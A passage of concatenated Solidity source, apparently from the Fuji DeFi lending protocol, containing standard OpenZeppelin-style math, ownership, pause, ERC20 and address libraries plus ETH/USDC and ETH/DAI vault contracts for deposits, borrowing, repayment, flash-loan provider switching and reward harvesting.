* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library UniERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function uniTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function uniApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDC is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
(_flashLoanAmount).mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of USDC in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHDAI is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
